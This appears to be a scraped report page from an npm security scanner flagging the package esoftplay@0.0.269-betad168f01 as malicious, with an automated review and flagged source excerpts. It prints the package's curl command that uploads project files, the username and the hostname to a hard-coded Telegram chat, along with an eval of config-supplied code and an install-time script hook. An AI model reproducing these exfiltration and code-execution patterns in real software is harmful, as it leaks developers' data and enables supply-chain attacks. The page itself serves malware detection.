Loading npm security reports…

esoftplay@0.0.269-betad168f01: Malicious npm security report | LPM Firewall

registry / esoftplay / 0.0.269-betad168f01

esoftplay@0.0.269-betad168f01

embedding data from esoftplay framework (web based) into mobile app

AI Security Review

scanned 4h ago · by lpm-firewall-ai

The package contains hard-coded Telegram reporting that uploads project configuration and sends workstation and build metadata. It also mutates the consuming project and dependency files during postinstall.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

Running the backup, publish, or build CLI commands; project mutations occur automatically at postinstall.

Impact

Project configuration and identifying build metadata can be disclosed to a package-controlled third party; installation also changes project and dependency state.

Mechanism

Uploads local project data and host metadata through shell-based Telegram requests.

Attack narrative

Installation immediately runs a script that rewrites the consumer project and patches installed dependencies. Separately, named CLI backup and build or publish paths use hard-coded Telegram destinations to transmit configuration files, workstation identity, and build or publisher metadata. These transfers are not directed to a user-configured destination and use shell commands. The CLI can also execute code supplied in project configuration during publishing.

Rationale

Source inspection confirms local-data transmission to hard-coded third-party Telegram destinations plus broad automatic postinstall mutation. Although the network actions require named CLI commands, the hard-coded reporting and executable configuration make this package unsafe.

Evidence

package.jsonbin/build.jsbin/cli.jsconfig.live.jsonconfig.debug.jsonapp.json../../package.json../../app.json

Source & flagged code

18 flagged · loading source

package.jsonView file

•scripts.postinstall = bun ./bin/build.js install

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = bun ./bin/build.js install

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

config.jsonView file

25patternName = google_api_key severity = high line = 25 matchedText = "apiKey"...BK8Y

High

High Secret

Package contains a high-severity secret pattern.

config.jsonView on unpkg · L25

25patternName = google_api_key severity = high line = 25 matchedText = "apiKey"...BK8Y

High

Secret Pattern

Google API key in config.json

config.jsonView on unpkg · L25

bin/packager.jsView file

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

bin/packager.jsView on unpkg · L1

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-beta7318487 matchedPath = bin/packager.js matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta7318487 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/packager.jsView on unpkg

1#!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/packager.jsView on unpkg · L1

bin/cli.jsView file

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

bin/cli.jsView on unpkg · L2

2const fs = require('fs'); L3: const exec = require('child_process').execSync; L4: // const fetch = require("node-fetch") L5: const path = require('path'); L6: const https = require('https'); L7: const os = require('os') ... L13: const appdebug = DIR + "app.debug.json" L14: const packjson = DIR + "package.json" L15: const packdebugjson = DIR + "package.debug.json" ... L389: } L390: command(`curl -v -F 'chat_id=-496494136' -F caption='#` + _slug + `\n${newVersion}\n` + os.userInfo().username + '@' + os.hostname() + `' -F document=@` + _path + ` https://api.tel... L391: }

bin/build.jsView file

400if (installDevLibs.length > 0) { L401: cmd += "&& bun add " + installDevLibs.join(" ") + " --dev " L402: } ... L406: console.log((JSON.stringify({ cmd }, undefined, 2))) L407: execSync(cmd + "|| true") L408: execSync("cd ../../ && bun ./node_modules/esoftplay/bin/router.js || true")

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

bin/build.jsView on unpkg · L400

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-beta7318487 matchedPath = bin/build.js matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta7318487 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/build.jsView on unpkg

bin/test.shView file

•path = bin/test.sh kind = build_helper sizeBytes = 536 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/test.shView on unpkg

modules/lib/utils.tsView file

•matchType = normalized_sha256 matchedPackage = esoftplay@0.0.269-beta7318487 matchedPath = modules/lib/utils.ts matchedIdentity = npm:ZXNvZnRwbGF5:0.0.269-beta7318487 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

modules/lib/utils.tsView on unpkg

Lines 913-953javascript

913 var d = new Date();

914 d = new Date(d.getTime() - 3000000);

915 var date_format_str = d.getFullYear().toString() + "-" + ((d.getMonth() + 1).toString().length == 2 ? (d.getMonth() + 1).toString() : "0" + (d.getMonth() + 1).toString()) + "-" + (d.getDate().toString().length == 2 ? d.getDate().toString() : "0" + d.getDate().toString());

916 let stringBuilder = "#" + ajson.expo.slug + "\n" + cjson.config.domain + "\n" + os.userInfo().username + '@' + os.hostname()

917 stringBuilder += "\nid: " + (last_id + 1)

918 let esplibs = Object.keys(pack.dependencies).filter((key) => key.includes("esoftplay"))

919 esplibs.forEach((key) => {

920 stringBuilder += ("\n" + key + ": " + pack.dependencies[key])

921 })

922 stringBuilder += "\n\nversionName: " + (ajson.expo.ios.buildNumber || ajson.expo.android.versionCode) + '-' + (last_id + 1) + ""

923 const { exec } = require('child_process');

924 exec("publisher=$(npx expo whoami &); echo $publisher;", (error, stdout, stderr) => {

925 if (error) {

926 console.error(`exec error: ${error}`);

927 return;

928 }

929 let accountName = stdout.trim();

930 stringBuilder += "\npublisher: @" + accountName + "\n"

931 stringBuilder += (notes != '' ? ("\n\n- " + notes) : '')

932 tm(stringBuilder)

933 if (cjson.config.hasOwnProperty('post_publish_script')) {

934 eval(cjson.config.post_publish_script)

935 }

High

Eval

Package source references dynamic code evaluation.

bin/cli.jsView on unpkg · L933

936 if (notes.startsWith('*') && ajson.config.publish_id) {

937 const config = readToJSON(confjson).config;

938 const ajson = readToJSON(appjson);

939 const url = config.publish_uri + ajson.config.publish_id

940 // const fetch = require('node-fetch')

941 console.log("\n\nPROCESSING FORCE UPDATE")

942 fetch(url).then((res) => JSON.stringify(res.json(), undefined, 2)).then(consoleSucces)

943 }

944 });

945 }

946 }

947}

948

949function doctor() {

950 let output = {}

951 if (fs.existsSync(packjson)) {

952 let pack = readToJSON(packjson)

953 output.expo = pack.dependencies.expo